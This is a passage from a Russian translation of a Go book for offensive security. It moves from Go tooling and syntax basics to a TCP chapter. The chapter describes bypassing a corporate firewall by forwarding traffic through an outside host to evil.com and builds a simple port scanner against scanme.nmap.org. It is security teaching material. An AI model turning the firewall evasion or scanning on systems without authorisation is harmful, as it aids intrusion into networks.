По умолчанию этот файл содержит отладочную информацию и таблицу символов, что увеличивает его размер. Чтобы избежать излишнего раздувания, нужно добавить в процессе сборки дополнительные флаги, которые предотвратят включение этой информации. Например, следующая команда сократит размер файла примерно на 30 %:

$ go build -ldflags "-w -s"

Более компактный размер упростит дальнейшую передачу или вложение файла при реализации ваших злодейских замыслов.

Кросс-компиляция

Использование gobuild отлично работает для выполнения двоичного файла в текущей системе или в имеющей идентичную архитектуру, но что если вы хотите создать файл, способный работать в системе с другой архитектурой? Для этого и служит кросс-компиляция, являясь одной из крутейших возможностей Go, так как ни один прочий язык не реализует ее с той же легкостью. Команда build позволяет кросс-компилировать программу для нескольких операционных систем и архитектур. Обратитесь к официальной документации (https://golang.org/doc/install/source#environment/) Go за подробным описанием возможных сочетаний компиляций совместимых ОС и архитектур.

Для выполнения кросс-компиляции вам понадобится установить ограничение. Это подразумевает просто передачу в команду build информации об операционной системе и архитектуре, для которых вы собираетесь компилировать код. Эти ограничения описываются атрибутами GOOS (для операционных систем) и GOARCH (для архитектур).

Ограничения сборки можно устанавливать тремя способами: через командную строку, комментарии в коде или с помощью расширений файлов. Здесь мы рассмотрим способ с использованием командной строки, предоставив вам возможность изучить остальные самостоятельно.

Предположим, вам нужно кросс-компилировать ранее созданную программу hello.go, расположенную на MacOS, для выполнения на архитектуре Linux x64. Это можно реализовать через командную строку, сопроводив выполнение команды build соответствующими атрибутами GOOS и GOARCH:

$ GOOS="linux" GOARCH="amd64" go build hello.go

$ ls

hello hello.go

$ file hello

hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

Вывод подтверждает, что получающийся двоичный файл — это 64-битный ELF (Linux).

Процесс кросс-компиляции намного проще в Go, чем в любом другом современном языке программирования. Единственная реальная сложность возникает, когда вы пытаетесь кросс-компилировать приложения, использующие внутренние привязки языка C. Мы же будем держаться подальше от подобных «сорняков» и позволим вам решить эту проблему самостоятельно. В зависимости от импортируемых вами пакетов и разрабатываемых проектов они могут беспокоить вас не слишком часто.

Команда go doc

Эта команда позволяет связываться с документацией пакета, функции, метода или переменной. Документация вкладывается в код в виде комментариев. Посмотрим, как можно узнать подробности о функции fmt.Println():

$ go doc fmt.Println

func Println(a ...interface{}) (n int, err error)

    Println formats using the default formats for its operands and writes to

    standard output. Spaces are always added between operands and a newline

    is appended. It returns the number of bytes written and any write error

    encountered.

Вывод информации берется непосредственно из комментариев исходного кода. При условии адекватного комментирования пакетов, функций, методов и переменных вы сможете без проблем автоматически просматривать эту документацию с помощью команды godoc.

Команда go get

Многие из программ Go, которые вы будете разрабатывать в процессе чтения книги, потребуют сторонних пакетов. Команда goget служит для получения исходного кода нужных пакетов. Предположим, вы написали следующий код, импортирующий пакет stacktitan/ldapauth:

package main

 

import (

"fmt"

"net/http"

 

"github.com/stacktitan/ldapauth"

)

Несмотря на то что вы импортировали пакет stacktitan/idapauth, обратиться к нему пока не получится — сначала нужно выполнить команду gogetgithub.com/stacktitan/ldapauth, которая загрузит фактический пакет и поместит его в каталог $GOPATH/src.

Следующее дерево каталогов отражает размещение пакета Idapauth в рабочем пространстве GOPATH:

$ tree src/github.com/stacktitan/

src/github.com/stacktitan/

└── ldapauth

    ├── LICENSE

    ├── README.md

    └── ldap_auth.go

Обратите внимание на то, что путь и имя импортированного пакета создаются так, чтобы избежать присваивания одного имени нескольким пакетам. Использование вводной части github.com/stacktitan перед Idapauth гарантирует, что его имя останется уникальным.

Хотя Go-разработчики традиционно устанавливают зависимости с помощью goget, при этом могут возникнуть проблемы, если эти зависимые пакеты получают обновления, нарушающие обратную совместимость. В связи с этим в Go были введены два отдельных инструмента — dep и mod, которые фиксируют зависимости, предотвращая возникновение подобных проблем. Тем не менее в книге для получения зависимостей практически повсеместно используется команда goget. Это поможет избежать несогласованности с текущими инструментами управления зависимостями и облегчит для вас реализацию приводимых примеров.

Команда go fmt

Эта команда автоматически форматирует исходный код. К примеру, выполнение gofmt/path/to/your/package стилизует код, обеспечив использование правильных разрывов строк, отступов и выравнивание скобок.

Применение произвольных настроек стилизации поначалу может показаться странным, особенно если они отличаются от привычных вам. Как бы то ни было, со временем такая согласованность покажется вполне уместной, поскольку код станет похож на другие сторонние пакеты и выглядеть будет более строгим. В большинстве IDE присутствуют хуки, которые автоматически выполняют gofmt при сохранении файла, так что вам не придется задействовать эту команду явно.

Команды golint и go vet

В то время как gofmt изменяет стилизацию синтаксиса кода, golint сообщает об ошибках стиля, таких как пропущенные комментарии, не соответствующее соглашению именование переменных, бесполезные определения типов и др. Обратите внимание на то, что golint — это самостоятельный инструмент, а не подкоманда основного исполняемого файла go. Поэтому установить ее потребуется отдельно с помощью goget-ugolang.org/x/lint/golint.

Аналогичным образом govet проверяет код и на основе эвристики выявляет подозрительные конструкции, такие как вызов Printf() с некорректным форматом строковых типов. Команда govet старается обнаружить проблемы, часть из которых могут оказаться незаметными для компилятора и быть работоспособными багами.

Go Playground

Go Playground (песочница) — это среда выполнения, размещенная по адресу https://play.golang.org/, где разработчики могут онлайн разрабатывать и тестировать код и делиться его фрагментами с другими. Данный сайт упрощает знакомство с различными возможностями языка, не требуя установки или запуска Go на локальной системе. Это отличный способ тестирования фрагментов кода до их интеграции в проекты.

Здесь вы можете также просто поиграть с различными нюансами языка в заранее сконфигурированной среде. Стоит отметить, что песочница Go не позволяет вызывать определенные опасные функции, чтобы не допустить, например, выполнения команд операционной системы или взаимодействия со сторонними сайтами.

Другие команды и инструменты

Мы не будем прямо рассматривать другие инструменты и команды, и вам стоит изучить их самостоятельно. По мере создания все более сложных проектов вы наверняка столкнетесь с необходимостью использования, например, команды gotest для выполнения тестов и бенчмарков, cover для проверки области охвата теста, imports для исправления инструкций импорта и др.

Синтаксис Go

Исчерпывающий обзор всего языка Go занял бы несколько глав, если не всю книгу. Этот раздел дает краткое описание его синтаксиса, в частности, относящегося к типам данных, структурам управления и стандартным паттернам. Для новичков он послужит введением, а для бывалых Go-программистов — напоминанием.

Для более глубокого поэтапного разбора языка рекомендуем пройти замечательный обучающий курс A tour of Go (https://tour.golang.org/). Он представляет собой всестороннее практическое знакомство с языком, разбитое на мини-уроки и использующее встроенную песочницу, которая позволяет тут же опробовать каждое из разъясняемых понятий.

Сам по себе язык представляет намного более чистую версию C, лишенную множества низкоуровневых нюансов, что повышает читаемость и упрощает его освоение.

Типы данных

Как и большинство современных языков, Go предоставляет разнообразные примитивные и сложные типы данных. Примитивные типы состоят из базовых составляющих элементов (строк, чисел и логических значений), которые встречаются повсеместно в других языках и создают основу всей задействуемой в программе информации. Сложные типы являются определяемыми пользователем структурами, включающими в себя комбинацию одного или нескольких примитивных или сложных типов.

Примитивные типы данных

К ним относятся bool, string, int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64, uintptr, byte, rune, float32, float64, complex64 и complex128.

Обычно при определении переменной вы объявляете ее тип. Если этого не сделать, система назначит тип автоматически. Рассмотрите следующие примеры:

var x = "Hello World"

z := int(42)

В первом для определения переменной x мы используем ключевое слово var и присваиваем ей значение "HelloWorld". Go неявно назначает x как string, так что объявлять этот тип не требуется. Во втором примере для определения переменной z мы задействуем оператор :=, присваивая ей целочисленное значение 42. Между этими двумя операторами реальной разницы нет, и на протяжении книги мы будем использовать оба. Но некоторые считают, что := в силу своей невзрачности ухудшает читаемость кода. Вы же вольны выбирать любой вариант.

В предыдущем примере мы явно обернули значение 42 в вызов int, обусловив его тип. Можно опустить вызов int, но тогда придется принять тот тип, который система использует для данного значения автоматически. В некоторых случаях им может оказаться вовсе не тот, который нам нужен. Предположим, вам требуется, чтобы 42 представляло беззнаковое целое число, а не тип int, в этом случае его придется явно обернуть соответствующим образом.

Срезы и карты

В Go есть и более сложные типы, такие как срезы и карты. Срезы подобны массивам, размер которых вы можете изменять динамически, что позволяет более эффективно передавать их функциям. Карты — это ассоциативные массивы, неупорядоченные списки пар «ключ/значение», позволяющие эффективно и быстро находить значения для уникального ключа.

Определение, инициализация и работа со срезами и картами реализуются разными способами. Следующий пример показывает стандартный способ определения среза s и карты m совместно с их элементами:

var s = make([]string, 0)

var m = make(map[string]string)

s = append(s, "some string")

m["some key"] = "some value"

В этом коде используются две встроенные функции: make() для инициализации каждой переменной и append() для добавления новых элементов в срез. Последняя строка вносит в карту m пару «ключ/значение», представленную somekey и somevalue. Мы советуем вам изучить все методы определения и использования этих типов данных в документации Go.

Указатели, структуры и интерфейсы

Указатель указывает на конкретную область памяти, позволяя извлекать хранящиеся там значения. Как и в C, в данном случае оператор & служит для извлечения адреса переменной, а оператор * — для разыменования этого адреса, то есть получения по нему значения. Вот пример:

var count = int(42)

ptr := &count

fmt.Println(*ptr)

*ptr = 100

fmt.Println(count)

Этот код определяет целое число count, после чего с помощью оператора & создает указатель , возвращая адрес переменной count. Далее в процессе вызова fmt.Println() происходит разыменовывание этой переменной для вывода значения count в stdout. Затем с помощью оператора * области памяти, на которую указывает ptr, присваивается новое значение. Поскольку это адрес переменной count, то присваивание изменяет значение данной переменной, что подтверждается выводом этого значения на экран .

Тип struct (структура) используется для создания новых типов данных путем определения связанных полей и методов этого типа. Например, здесь мы объявляем тип Person:

type Person struct {

     Name  string

     Age int

}

func (p *Person) SayHello() {

    fmt.Println("Hello,", p.Name )

}

func main() {

    var guy = new (Person)

   guy.Name = "Dave"

   guy.SayHello()

}

Этот код с помощью ключевого слова type определяет новую структуру, содержащую два поля: string с именем Name и int с именем Age.

Далее в типе Person, присвоенном переменной p, мы определяем метод SayHello(). Он выводит приветственное сообщение в stdout, обращаясь к структуре p, которая получает этот вызов. Рассматривайте p как ссылку на self или this в других языках. Здесь мы также определяем функцию main(), выступающую в роли точки входа в программу. Данная функция с помощью ключевого слова new инициализирует нового Person (человека), присваивая ему имя Dave и давая указание выполнить SayHello().

В структурах отсутствуют модификаторы области, такие как закрытая (private), публичная (public) или защищенная (protected), которые обычно присутствуют в других языках и служат для управления доступом к их членам. Вместо этого в Go область доступности определяется величиной регистра: типы и поля, начинающиеся с прописной буквы, экспортируются и являются доступными вне пакета, в то время как начинающиеся со строчной — закрытые и доступны только внутри пакета.

Тип интерфейс в Go можно понимать как схему или контракт. Эта схема определяет ожидаемый набор действий, которые любая конкретная реализация должна выполнить, чтобы считаться типом этого интерфейса. Для создания интерфейса нужно определить набор методов: любой тип данных, содержащий эти методы с верными сигнатурами, выполняет контракт и считается типом этого интерфейса. Рассмотрим пример:

type Friend interface {

   SayHello()

}

В этом примере мы определили интерфейс Friend, который требует реализации одного метода — SayHello(). Это означает, что любой тип, реализующий метод Sayhello(), будет считаться Friend. Обратите внимание на то, что интерфейс Friend фактически не реализует эту функцию — он просто говорит, что если вы Friend, то должны уметь SayHello().

Следующая функция, Greet(), получает интерфейс Friend в качестве ввода и выполняет приветствие в соответствующей Friend форме:

func Greet (f Friend ) {

    f.SayHello()

}

Этой функции можно передать любой тип Friend. К счастью, использованный нами ранее тип Person умеет SayHello(), то есть является Friend. Следовательно, если функция Greet(), как показано в предыдущем коде, ожидает в качестве вводного параметра Friend, можно передать ей Person:

func main() {

    var guy = new(Person)

    guy.Name = "Dave"

    Greet(guy)

}

Интерфейсы и структуры позволяют вам определить несколько типов, которые затем можно передавать функции Greet(), при условии что они реализуют интерфейс Friend. Рассмотрим несколько измененный пример:

type Dog struct {}

func (d *Dog) SayHello()

    { fmt.Println("Woof woof")

}

func main() {

    var guy = new(Person)

    guy.Name = "Dave"

Greet(guy)

    var dog = new(Dog)

Greet(dog)

}

Здесь мы видим новый тип, Dog, который тоже умеет SayHello() и, следовательно, является Friend. Теперь вы можете Greet() как Person, так и Dog, поскольку оба умеют SayHello().

На протяжении книги мы будем касаться темы интерфейсов еще несколько раз, чтобы помочь вам лучше усвоить специфику их применения.

Управляющие конструкции

Go содержит меньше управляющих конструкций, чем другие современные языки. Но это не мешает вам реализовывать сложную обработку, включая условия и циклы.

Главной условной конструкцией в этом языке выступает if/else:

if x == 1 {

    fmt.Println("X is equal to 1")

} else {

    fmt.Println("X is not equal to 1")

}

В Go для нее используется своеобразный синтаксис. Например, в нем вы не заключаете проверку условия — в этом случае x==1 — в скобки. Здесь необходимо заключать все блоки кода, даже приведенные ранее однострочные, в фигурные скобки. В отличие от Go, во многих других языках однострочные блоки не требуют фигурных скобок.

Что касается условных выражений, включающих более двух вариантов, в Go пре­дусмотрена инструкция switch. Вот пример:

switch x {

    case "foo" :

        fmt.Println("Found foo")

    case "bar" :

        fmt.Println("Found bar")

    default :

        fmt.Println("Default case")

}

Здесь инструкция switch сравнивает содержимое переменной x с различными значениями — foo и bar, — выводя в stdout сообщение о соответствии x одному из условий. Этот пример включает кейс default, который выполняется, если ни одно из условий не проходит проверку.

Заметьте, что здесь кейсы не требуют инструкции break, в отличие от других языков, где выполнение кода условия продолжается до момента достижения инструкции break или конца всего выражения switch. В Go же выполняется не более одного совпадающего или предустановленного (default) кейса.

В этом языке есть также особая вариация switch, называемая type switch, которая выполняет утверждение типов с помощью инструкции switch. Переключатели типов помогают понять внутренний тип интерфейса.

Например, для извлечения внутреннего типа интерфейса i вы можете использовать такой переключатель:

func foo(i interface{}) {

    switch v := i.(type) {

    case int:

        fmt.Println("I'm an integer!")

    case string:

        fmt.Println("I'm a string!")

    default:

        fmt.Println("Unknown type!")

    }

}

Здесь представлен специальный синтаксис, i.(type), позволяющий извлечь тип переменной интерфейса i. Это значение используется в инструкции switch, где каждый кейс соответствует определенному типу. В нашем случае кейсы выполняют проверку на соответствие примитивам int или string, но вы также можете проверять, например, указатели или пользовательские типы структур.

Последней конструкцией управления потоком кода в Go является цикл for. Здесь он выступает единственным средством выполнения итерации или повторения разделов кода. Может показаться странным отсутствие таких конструкций, как циклы do или while, но их можно воссоздать с помощью вариаций синтаксиса цикла for. Вот одна из таких вариаций:

for i := 0; i < 10; i++ {

    fmt.Println(i)

}

Здесь происходит перебор чисел от 0 до 9 и вывод каждого в stdout. Обратите внимание на точку с запятой в первой строке. В отличие от многих языков, где этот знак используется в качестве разделителя строк, в Go он применяется в различных управляющих конструкциях для выполнения нескольких разных, но связанных подзадач в одной строке кода. Первая строка с помощью этого знака разделяет логику инициализации (i:=0), условное выражение (i<10) и оператор увеличения (i++). Эта конструкция должна быть знакома всем, кто писал код на любом современном языке, поскольку очень похожа на синтаксис этих языков.

Приведенный далее пример показывает слегка измененный цикл for, перебирающий коллекцию, такую как срез или карта:

nums := []int{2,4,6,8}

for idx , val := range

    nums { fmt.Println(idx, val)

}

Здесь мы инициализируем срез целых чисел nums. Затем используем в цикле for ключевое слово range для перебора этого среза. range возвращает два значения: текущий индекс и копию текущего значения по этому индексу. Если вы не собираетесь применять этот индекс, можете в цикле for заменить idx на нижнее подчеркивание, сообщив тем самым Go, что в нем не нуждаетесь.

Такую же логику перебора можно использовать в работе с картами для возврата каждой пары «ключ/значение».

Многопоточность

Во многом аналогично рассмотренным управляющим конструкциям в Go реализована упрощенная по сравнению с другими языками модель многопоточности. Для параллельного выполнения кода задействуются горутины, представляющие собой функции или методы, способные выполняться одновременно. Их нередко описывают как легковесные потоки, потому что, если сравнивать с реальными потоками, затраты на создание горутин минимальны.

Для этого используется ключевое слово go, размещаемое перед вызовом методов/функций, которые требуется выполнить параллельно:

func f() {

   fmt.Println("f function")

}

 

func main() {

go f()

    time.Sleep(1 * time.Second)

    fmt.Println("main function")

}

В этом примере мы определяем функцию f(), которую вызываем в точке входа программы — функции main(). Перед этим вызовом указывается ключевое слово go, означающее, что программа будет выполнять f() параллельно. Другими словами, функция main() продолжит выполняться, не ожидая завершения f(). Затем мы используем time.Sleep(1*time.Second), чтобы временно приостановить main() для завершения f(). Если не приостановить main(), программа может выйти до завершения f() и ее результат не будет отражен в stdout. При правильной же реализации мы увидим вывод сообщений в stdout, отражающий завершение обеих функций.

В Go есть тип данных под названием каналы, который предоставляет механизм, позволяющий горутинам синхронизировать выполнение и взаимодействовать друг с другом. Рассмотрим пример использования каналов для одновременного отображения и суммирования длин разных строк:

func strlen(s string, c chan int) {

c <- len(s)

}

 

func main() {

c := make(chan int)

go strlen("Salutations", c)

    go strlen("World", c)

x, y := <-c, <-c

    fmt.Println(x, y, x+y)

}

Сначала мы определяем и используем переменную с типа chanint. Можно определять каналы разных типов в зависимости от типа данных, которые планируется через них передавать. В нашем случае будем передавать между горутинами длину разных строк в виде целочисленных значений, значит, нужно применить канал int.

Обратите внимание на новый оператор <-. Он указывает, поступают ли данные из канала или в канал. Можете сравнить действие этого оператора с помещением элементов в корзину или удалением их из нее.

Функция strlen() получает слово в виде строки, а также канал, который будет использоваться для синхронизации данных. Эта функция содержит одну инструкцию, c<-len(s), которая с помощью встроенной функции len() определяет длину полученной строки и посредством оператора <- помещает результат в канал c.

Функция main() собирает все вместе. Сначала мы выполняем вызов make(chanint) для создания канала int. Затем делаем несколько параллельных вызовов функции strlen() с помощью ключевого слова go, которое запускает несколько горутин. Далее в функцию передаются два строковых значения, а также канал, в который нужно будет поместить результаты. В завершение мы считываем данные из этого канала с помощью оператора <-. Это тоже можно сравнить с извлечением элементов из корзины и присваиванием их значений переменным x и y. Обратите внимание на то, что до момента считывания нужных данных из канала выполнение на этой строке прерывается.

По завершении происходит вывод длины каждой строки и их суммы в stdout. В данном примере мы увидим следующие числа:

5 11 16

Все это может показаться довольно сложным, но обозначить основные принципы параллельности необходимо, так как Go здесь выделяется особо. Поскольку многопоточность и параллельность в этом языке могут принимать весьма сложные формы, не пожалейте времени на самостоятельное изучение соответствующего материала. Далее в книге мы будем рассматривать более реалистичные и сложные реализации многопоточности, вводя буферизованные каналы, группы ожидания, мьютексы и другие понятия.

Обработка ошибок

В отличие от большинства языков, в Go нет синтаксиса для обработки ошибок try/catch/finally. Вместо этого здесь реализован минималистичный подход, подразумевающий проверку ошибок в местах их появления и исключающий их выскакивание в других функциях на протяжении цепочки вызовов.

Для этого в Go используется встроенный тип ошибок, который определяется через объявление interface:

type error interface {

    Error() string

}

Это означает, что вы можете использовать в качестве error любой тип данных, который реализует метод Error(), возвращающий значение string. К примеру, вот настраиваемая ошибка, которую можно определить и задействовать на протяжении кода:

type MyError string

func (e MyError) Error() string {

    return string(e)

}

Здесь мы создаем пользовательский строковый тип MyError и реализуем для этого типа метод Error()string.

Когда дело дойдет до обработки ошибок, вы быстро привыкнете к следующему паттерну:

func foo() error {

    return errors.New("Some Error Occurred")

}

func main() {

    if err := foo() ;err != nil {

        // Обработка ошибки

    }

}

Вы обнаружите, что, как правило, функции и методы возвращают не менее одного значения. Одним из этих значений практически всегда является error. В Go возвращенная error может иметь значение nil, указывающее, что функция не произвела ошибки и все сработало, как ожидалось. Если же вернется значение не nil, значит, что-то в этой функции пошло не так.

Таким образом, можно выполнять проверку на ошибки с помощью инструкции if, как показано в функции main(). Обычно вы будете встречать несколько инструкций, разделенных точкой с запятой. Первая вызывает функцию и присваивает итоговую ошибку переменной , после чего вторая инструкция проверяет полученное в error значение на равенство nil. Эта обработка ошибки выполняется в теле выражения if.

По мере погружения в язык Go вы узнаете, что мнения о лучшем способе обработки ошибок разнятся. Одна из сложностей здесь состоит в том, что, в отличие от других языков, встроенный тип ошибки не включает в себя отслеживание стека, который помог бы точно определить контекст или местоположение ошибки. Несмотря на то что вы можете сгенерировать такой стек и присвоить пользовательскому типу в своем приложении, его реализация оставлена на усмотрение самих разработчиков. Поначалу это может несколько раздражать, но при правильном построении приложения с этим можно вполне успешно работать.

Обработка структурированных данных

Специалисты сферы безопасности зачастую пишут код, обрабатывающий структурированные данные, или данные со стандартной кодировкой, такой как JSON или XML. В Go для подобной кодировки данных реализованы стандартные пакеты. Наиболее актуальными из них являются encoding/json и encoding/xml.

Оба пакета могут выполнять маршалинг и демаршалинг произвольных структур данных, то есть преобразовывать строки в структуры и наоборот.

Взглянем на пример, выполняющий сериализацию структуры в байтовый срез и последующую десериализацию этого среза байтов обратно в структуру:

type Foo struct {

   Bar string

   Baz string

}

 

func main() {

f := Foo{"Joe Junior", "Hello Shabado"}

    b, _ := json.Marshal (f)

fmt.Println(string(b))

    json.Unmarshal(b, &f)

}

Этот код, не соответствующий наилучшим практикам и игнорирующий возможные ошибки, определяет тип struct с именем Foo. Мы инициализируем его в функции main(), а затем вызываем json.Marshal(), передавая ей экземпляр Foo. Метод Marshal() кодирует struct в JSON, возвращая срез byte, который мы затем выводим в stdout. Показанный здесь вывод — это строковое представление структуры Foo в кодировке JSON:

{"Bar":"Joe Junior","Baz":"Hello Shabado"}

В завершение мы берем тот же срез byte и декодируем его через вызов json.Unmarshal(b,&f), в результате чего получаем экземпляр структуры Foo. При обработке XML процесс почти идентичен.

Работая с JSON и XML, вы обычно будете использовать теги полей. Они представляют собой элементы метаданных, которые вы присваиваете полям структуры, определяя для логики маршалинга/демаршалинга способ обнаружения и трактовки связанных элементов. Для этих полей существует бесчисленное множество вариаций, мы приведем лишь краткий пример их применения для обработки XML:

type Foo struct {

    Bar    string    `xml:"id,attr"`

    Baz    string    `xml:"parent>child"`

}

Строковые значения, заключенные в обратные кавычки, и являются тегами полей. Теги полей всегда начинаются с имени тега (в этом случае xml), сопровождаемого двоеточием и директивой, заключенной в двойные кавычки. Эта директива указывает, как поля должны обрабатываться. В нашем случае первая директива объявляет, что Bar нужно рассматривать не как элемент, а как атрибут с именем id. Вторая же указывает, что Baz нужно искать в подэлементе child, принадлежащем parent. Если изменить предыдущий пример, чтобы закодировать эту структуру как XML, то мы увидим такой результат:

<Foo id="Joe Junior"><parent><child>Hello Shabado</child></parent></Foo>

Кодировщик XML на основе этих директив соответствующим образом определяет имена элементов, и каждое поле в итоге обрабатывается нужным вам образом.

По мере чтения книги вы будете встречать использование этих тегов для работы и с другими форматами сериализации данных, включая ASN.1 и MessagePack. Мы также обсудим некоторые примеры определения собственных тегов, в частности, когда будем изучать обработку протокола блока серверных сообщений (Server Message Block, SMB).

Резюме

В этой главе мы настроили среду разработки и изучили фундаментальные аспекты языка. Это далеко не исчерпывающий список его характеристик, так как все нюансы и особенности совершенно невозможно обобщить в одной главе. Мы включили в нее лишь самое необходимое для освоения последующего материала книги. Далее переключимся на практическую сторону применения Go в области безопасности и хакерства.

2. TCP, сканеры и прокси

Рассмотрение практического применения Go мы начнем с разбора протокола контроля передачи (TCP), являющегося преобладающим стандартом и основой современных сетевых коммуникаций. TCP встречается повсеместно и отличается наличием множества отлично документированных библиотек, образцов кода и в большинстве случаев несложными потоками пакетов. Его понимание необходимо для грамотной реализации оценки, парсинга запросов и управления сетевым трафиком.

В роли атакующего вы должны понимать принцип работы TCP, чтобы справляться с разработкой пригодных вариантов его конструкций, позволяющих определять открытые/закрытые порты, распознавать такие потенциально ошибочные результаты, как ложные срабатывания — например, SYN-флуд защиты, — и обходить ограничения на исходящий трафик посредством переадресации портов. В этой главе вы изучите основы TCP-коммуникаций в Go, реализуете многопоточный правильно отрегулированный сканер портов, создадите TCP-прокси, который можно использовать для переадресации портов, а также воссоздадите Netcat-функцию «зияющая дыра в безопасности».

Были написаны целые учебники, раскрывающие каждый нюанс TCP, включая такие темы, как потоки и структура пакетов, надежность, повторная сборка сегментов и многие другие. Настолько подробная детализация выходит за рамки темы данной книги, поэтому мы рекомендуем глубже изучить эту тему, прочитав книгу Чарльза М. Козиерока (Charles M. Kozierok) The TCP/IP Guide, изданную No Starch Press в 2005 году.

TCP Handshaking

В качестве напоминания мы начнем с основ. На рис. 2.1 показано, как TCP при запросе порта использует процесс рукопожатия (handshaking), определяя, открыт порт, закрыт или фильтруется.

 

Рис. 2.1. Основы рукопожатия в TCP

Если порт открыт, рукопожатие осуществляется в три этапа. Сначала клиент отправляет пакет syn, определяющий начало сеанса связи. В ответ на это сервер отправляет syn-ack, иначе говоря, подтверждение получения пакета syn, предлагая клиенту завершить сеанс установки связи отправкой сигнала ack, то есть встречного подтверждения получения ответа сервера. После этого может начаться обмен данными. Если же порт будет закрыт, сервер ответит пакетом rst, а не syn-ack. В случае, когда трафик фильтруется межсетевым экраном (брандмауэром), клиент обычно не получает от сервера ответа.

При написании сетевых протоколов важно понимать принцип работы этих пакетов. Соответствие выходных данных создаваемых вами инструментов этим низко­уровневым потокам пакетов поможет убедиться в правильной установке сетевого соединения и устранить потенциальные проблемы. Как вы увидите чуть позже, в коде можно легко допустить ошибки, не реализовав полный цикл рукопожатия при соединении «клиент — сервер», что приведет к неточным или вводящим в заблуждение результатам.

Обход брандмауэра с помощью переадресации портов

Иногда в системах с целью ограничения доступа клиента к конкретным серверам и портам устанавливаются брандмауэры. В некоторых случаях эти ограничения можно обойти, используя промежуточную систему для проксирования в обход или через такой брандмауэр. Эта техника называется переадресацией портов.

Многие корпоративные сети ограничивают возможность подключения своих внутренних ресурсов к вредоносным сайтам. В качестве примера представьте такой сайт под названием evil.com. Если сотрудник компании попытается подключиться к нему напрямую, брандмауэр заблокирует его запрос. Но если у сотрудника есть собственная внешняя система, доступная через брандмауэр (например, stacktitan.com), то он может задействовать ее для установки связи с evil.com. Этот принцип отражен на рис. 2.2.

 

Рис. 2.2. TCP-прокси

Клиент подключается к удаленному хосту stacktitan.com через брандмауэр. Этот хост настроен на перенаправление соединений к хосту evil.com. Несмотря на то что брандмауэр запрещает прямые подключения к evil.com, описанная конфигурация позволяет клиенту обойти этот механизм защиты.

Переадресацию портов можно использовать для эксплуатации нескольких запрещающих сетевых конфигураций. Например, можно перенаправить трафик через инсталляционный сервер для доступа к сегментированной сети или обращения к портам, привязанным к ограниченным интерфейсам.

Написание TCP-сканера

Один из эффективных способов концептуализировать понимание взаимодействия TCP-портов — это реализация их сканера. В процессе его создания вы увидите все шаги обмена рукопожатиями в TCP, а также эффекты от возникающих изменений состояний, которые позволяют определить, является ли порт доступным, закрытым или отфильтровывается.

Написав базовый сканер портов, вы перейдете к созданию его ускоренной версии. Базово эта программа способна сканировать множество портов, используя один непрерывный метод, но если вам потребуется выполнить сканирование всех 65 535 портов, это может занять слишком много времени. Поэтому мы научим вас с помощью многопоточности делать малоэффективный сканер более подходящим для выполнения задач расширенного сканирования.

Освоенные в этом разделе шаблоны параллельности вы сможете применять и во многих других сценариях.

Тестирование портов на доступность

Первый шаг в создании сканера портов — понять процесс инициирования соединения от клиента к серверу. В рассматриваемом примере вы будете подключаться к scanme.nmap.org — сервису проекта Nmap1 и сканировать его. Для этого мы с вами задействуем пакет Go net: net.Dial(network,addressstring).

Первый аргумент — это строка, определяющая тип инициируемого соединения. Дело в том, что Dial используется не только для TCP, но и для создания соединений, задействующих сокеты Unix, UDP и протоколы 4-го уровня, которые мы оставим в стороне, так как на основе всего нашего опыта будет достаточно просто сказать, что TCP очень хорош. В этот аргумент можно передать несколько вариантов строк, но для краткости будем использовать строку tcp.

Второй аргумент указывает Dial(network,addressstring) на хост, к которому вы хотите подключиться. Обратите внимание на то, что это одна строка, а не string и int. Для соединений IPv4/TCP она будет принимать форму host:port. Например, если вам нужно подключиться к scanme.nmap.org через TCP-порт 80, то нужно указать scanme.nmap.org:80.

Теперь вы знаете, как создать соединение, но как понять, что оно было успешным? Для этого выполняется проверка на ошибки: Dial(network,addressstring) возвращает Conn и error. При этом error будет nil, если соединение установлено успешно. Так что для проверки вам просто нужно убедиться, что error равна nil.

Вот теперь у вас есть все необходимые элементы для построения сканера портов, хотя и не особо корректного. В листинге 2.1 показано, как все это объединить. (Все листинги кода находятся в корневом каталоге /exist репозитория GitHub https://github.com/blackhat-go/bhg/.)

Листинг 2.1. Простой сканер портов, сканирующий только один порт (/ch-2/dial/main.go)

package main

 

import (

    "fmt"

    "net"

)

 

func main() {

    _, err := net.Dial("tcp", "scanme.nmap.org:80")

 

    if err == nil {

        fmt.Println("Connection successful")

    }

}

Выполнив этот код, вы должны увидеть сообщение Connectionsuccessful при условии наличия у вас доступа к великой информационной супермагистрали.

Выполнение однопоточного сканирования

Сканирование по одному порту за раз не особо полезно и малоэффективно, так как диапазон TCP-портов — от 1 до 65 535. В целях же тестирования давайте пока просканируем порты от 1 до 1024. Для этого можно использовать цикл for:

for i:=1; i <= 1024; i++ {

}

Теперь у вас есть int, но нужно помнить, что в качестве второго аргумента для Dial(network,addressstring) требуется строка. Есть по меньшей мере два способа преобразования целого числа в строку. Первый — использовать пакет преобразования строк strconv. Второй — применить функцию Sprintf(formatstring,a...interface{}) из пакета fmt, которая (аналогично своему собрату в C) возвращает string, сгенерированную из строки формата (formatstring).

Создайте файл с кодом из листинга 2.2 и убедитесь в работоспособности цикла и функции генерации строки. Выполнение этого кода должно вывести 1024 строки, но утруждать себя их подсчетом не обязательно.

Листинг 2.2. Сканирование 1024 портов scanme.nmap.org (/ch-2/tcp-scanner-slow/main.go)

package main

 

import (

    "fmt"

)

 

func main() {

    for i := 1; i <= 1024; i++ {

        address := fmt.Sprintf("scanme.nmap.org:%d", i)

        fmt.Println(address)

    }

}

Теперь осталось только подставить переменную адреса из предыдущего кода в Dial(network,addressstring) и протестировать доступность портов, реализовав такую же проверку ошибок, как в предыдущем разделе. Помимо этого, чтобы не оставлять успешные соединения открытыми, следует добавить логику их закрытия. Завершение соединений — это жест вежливости. Для этого вам нужно выполнить в Conn вызов Close(). В листинге 2.3 показана полноценная реализация сканера портов.

Листинг 2.3. Завершенный сканер портов (/ch-2/tcp-scanner-slow/main.go)

package main

 

import (

    "fmt"

    "net"

)

 

func main() {

    for i := 1; i <= 1024; i++ {

        address := fmt.Sprintf("scanme.nmap.org:%d", i)

        conn, err := net.Dial("tcp", address)

        if err != nil {

            // порт закрыт или отфильтрован

            continue

        }

        conn.Close()

        fmt.Printf("%d open\n", i)

    }

}

Скомпилируйте и выполните этот код для выполнения легкого сканирования цели. Вы должны обнаружить пару открытых портов.

Параллельное сканирование

